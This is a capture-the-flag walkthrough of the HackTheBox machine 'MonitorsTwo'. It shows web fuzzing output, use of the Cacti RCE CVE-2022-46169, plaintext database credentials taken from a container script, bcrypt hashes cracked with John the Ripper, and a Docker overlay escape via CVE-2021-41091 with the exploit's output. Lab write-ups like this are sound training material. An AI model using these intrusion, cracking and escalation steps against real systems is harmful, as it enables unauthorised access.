This is a easy difficulty Linux machine from HackTheBox created by TheCyberGeek. In this scenario, my IP is 10.10.14.32 and the target’s IP is 10.129.198.242
This machine was pretty funny; it is straightforward if you ignore the amount of noise if you fuzz the target. It has a proper amount of research once you interact with the target. Furthermore, when you are inside, the machine is designed to be an introduction to escape from Docker Containers. The only weird thing is the privilege scalation because the source of the information was well hidden.
Recon
The first steps are about getting basic information about the target, by using nmap and searching information from the website.
By searching "OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 launchpad" in google, we find that our target is a Linux-Focal machine, is good to know every detail about the target... and the other information to the pocket, is that the port 80 use nginx/1.18.0.
At the view:source there is a lot of information at the login page, another detail, the site redirect us to a index.php, we can use FUZZ with php too.
I went to LICENSE and CHANGELOG, there is nothing interesting there, the other sites are errors or they redirect you to index.php.
Exploit
Reverse Shell [www-data]
After some recon at some of the found websites, an option was to search for exploit for each framework version, and if you search for "Cacti 1.2.22 exploit" there is something, CVE-2022-46169, RCE.
Uh... the machine is called "MonitorsTwo", it's no surprise that involve a Docker.
Wow, there is a lot of stuff,
By using this, I only find configuration and code, nothing about plain text credentials, but when I went to /, there is a file called entrypoint.sh... with sql credentials in plain text.
Database exploration
Reverse Shell [marcus]
And we find two credentials, I went to CrackStation, in HackTheBox is common to use frequent hashes, but this is not the case, so it's time to use John the Ripper.
Privilege Escalation
Now we are inside the machine
Nothing suspicious, we can check some process then.
And now the grep cycle at /
At /var/mail/marcus there is something relevant, the first two vulnerabilities are not interesting, but the third one it is.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.129.198.242/FUZZ
Total requests: 220546
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000002: 301 9 L 28 W 314 Ch "images"
000000076: 301 9 L 28 W 312 Ch "docs"
000000505: 301 9 L 28 W 315 Ch "plugins"
000000361: 301 9 L 28 W 315 Ch "service"
000000625: 403 9 L 28 W 276 Ch "log"
000000707: 301 9 L 28 W 311 Ch "lib"
000000701: 301 9 L 28 W 315 Ch "install"
000000260: 301 9 L 28 W 315 Ch "scripts"
000000865: 301 9 L 28 W 316 Ch "resource"
000001098: 301 9 L 28 W 315 Ch "include"
000001069: 301 9 L 28 W 313 Ch "cache"
000003281: 200 279 L 2491 W 15171 Ch "LICENSE"
000005002: 301 9 L 28 W 315 Ch "formats"
000007829: 200 3624 L 36423 W 254887 Ch "CHANGELOG"
000020615: 301 9 L 28 W 315 Ch "locales"
000020670: 403 9 L 28 W 276 Ch "cli"
000045314: 301 9 L 28 W 312 Ch "mibs"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.129.198.242/FUZZ.php
Total requests: 220546
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000250: 302 0 L 0 W 0 Ch "link"
000000001: 200 272 L 862 W 13844 Ch "index"
000000047: 200 272 L 862 W 13843 Ch "help"
000000033: 200 272 L 862 W 13844 Ch "links"
000000520: 200 272 L 862 W 13844 Ch "sites"
000000505: 200 272 L 862 W 13846 Ch "plugins"
000000743: 200 272 L 862 W 13848 Ch "utilities"
000000012: 200 272 L 862 W 13844 Ch "about"
000001211: 302 0 L 0 W 0 Ch "logout"
000001791: 200 272 L 862 W 13847 Ch "settings"
000002727: 200 272 L 862 W 13828 Ch "graph"
000002730: 200 272 L 862 W 13843 Ch "host"
000002744: 200 272 L 862 W 13844 Ch "color"
000002975: 200 272 L 862 W 13845 Ch "graphs"
000003583: 200 272 L 862 W 13843 Ch "tree"
000005326: 200 1 L 13 W 93 Ch "cmd"
000012379: 200 272 L 862 W 13847 Ch "managers"
000065905: 200 272 L 862 W 13843 Ch "clog"
000082245: 200 0 L 12 W 58 Ch "graph_image"
$ cat entrypoint.sh
#!/bin/bash
set -ex
wait-for-it db:3306 -t 300 -- echo "database is connected"
if [[ ! $(mysql --host=db --user=root --password=root cacti -e "show tables") =~ "automation_devices" ]]; then
mysql --host=db --user=root --password=root cacti < /var/www/html/cacti.sql
mysql --host=db --user=root --password=root cacti -e "UPDATE user_auth SET must_change_password='' WHERE username = 'admin'"
mysql --host=db --user=root --password=root cacti -e "SET GLOBAL time_zone = 'UTC'"
fi
chown www-data:www-data -R /var/www/html
# first arg is `-f` or `--some-option`
if [ "${1#-}" != "$1" ]; then
set -- apache2-foreground "$@"
fi
exec "$@"
$ vi data
$2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC
$2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C
$ john --wordlist=/usr/share/wordlists/rockyou.txt data
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X2])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
funkymonkey (?) # Maybe this is the only one we need
marcus@monitorstwo:/$ id
uid=1000(marcus) gid=1000(marcus) groups=1000(marcus)
marcus@monitorstwo:/$ sudo -l
[sudo] password for marcus:
Sorry, user marcus may not run sudo on localhost.
marcus@monitorstwo:/$ find \-perm -4000 2>/dev/null
./usr/lib/dbus-1.0/dbus-daemon-launch-helper
./usr/lib/eject/dmcrypt-get-device
./usr/lib/policykit-1/polkit-agent-helper-1
./usr/lib/openssh/ssh-keysign
./usr/bin/mount
./usr/bin/sudo
./usr/bin/gpasswd
./usr/bin/umount
./usr/bin/passwd
./usr/bin/fusermount
./usr/bin/chsh
./usr/bin/at
./usr/bin/chfn
./usr/bin/newgrp
./usr/bin/su
marcus@monitorstwo:/$ find \-name config 2>/dev/null
<...>
Target Terminal [marcus]
$ ps -aux
<...>
$ cat /etc/crontab
<...>
Target Terminal [marcus]
$ grep -rni "marcus" --exclude-dir={proc,lib,sys} *
<...>
$ grep -rni "password" --exclude-dir={proc,lib,sys} *
<...>
$ grep -rni "CVE" --exclude-dir={proc,lib,sys} *
var/mail/marcus:9:CVE-2021-33033: This vulnerability affects the Linux kernel before 5.11.14 and is related to the CIPSO and CALIPSO refcounting for the DOI definitions. Attackers can exploit this use-after-free issue to write arbitrary values. Please update your kernel to version 5.11.14 or later to address this vulnerability.
var/mail/marcus:11:CVE-2020-25706: This cross-site scripting (XSS) vulnerability affects Cacti 1.2.13 and occurs due to improper escaping of error messages during template import previews in the xml_path field. This could allow an attacker to inject malicious code into the webpage, potentially resulting in the theft of sensitive data or session hijacking. Please upgrade to Cacti version 1.2.14 or later to address this vulnerability.
var/mail/marcus:13:CVE-2021-41091: This vulnerability affects Moby, an open-source project created by Docker for software containerization. Attackers could exploit this vulnerability by traversing directory contents and executing programs on the data directory with insufficiently restricted permissions. The bug has been fixed in Moby (Docker Engine) version 20.10.9, and users should update to this version as soon as possible. Please note that running containers should be stopped and restarted for the permissions to be fixed.
Target Terminal [marcus]
marcus@monitorstwo:/$ vi /tmp/exploit.sh
#Paste the code of exp.sh
marcus@monitorstwo:/$ cd /tmp
marcus@monitorstwo:/tmp$ chmod 777 exploit.sh
Target Terminal [marcus]
marcus@monitorstwo:/tmp$ ./exploit.sh
[!] Vulnerable to CVE-2021-41091
[!] Now connect to your Docker container that is accessible and obtain root access !
[>] After gaining root access execute this command (chmod u+s /bin/bash)
Did you correctly set the setuid bit on /bin/bash in the Docker container? (yes/no): yes
[!] Available Overlay2 Filesystems:
/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged
/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
[!] Iterating over the available Overlay2 filesystems !
[?] Checking path: /var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged
[x] Could not get root access in '/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged'
# This one is vulnerable!!
[?] Checking path: /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
[!] Rooted !
[>] Current Vulnerable Path: /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
[?] If it didn't spawn a shell go to this path and execute './bin/bash -p'
[!] Spawning Shell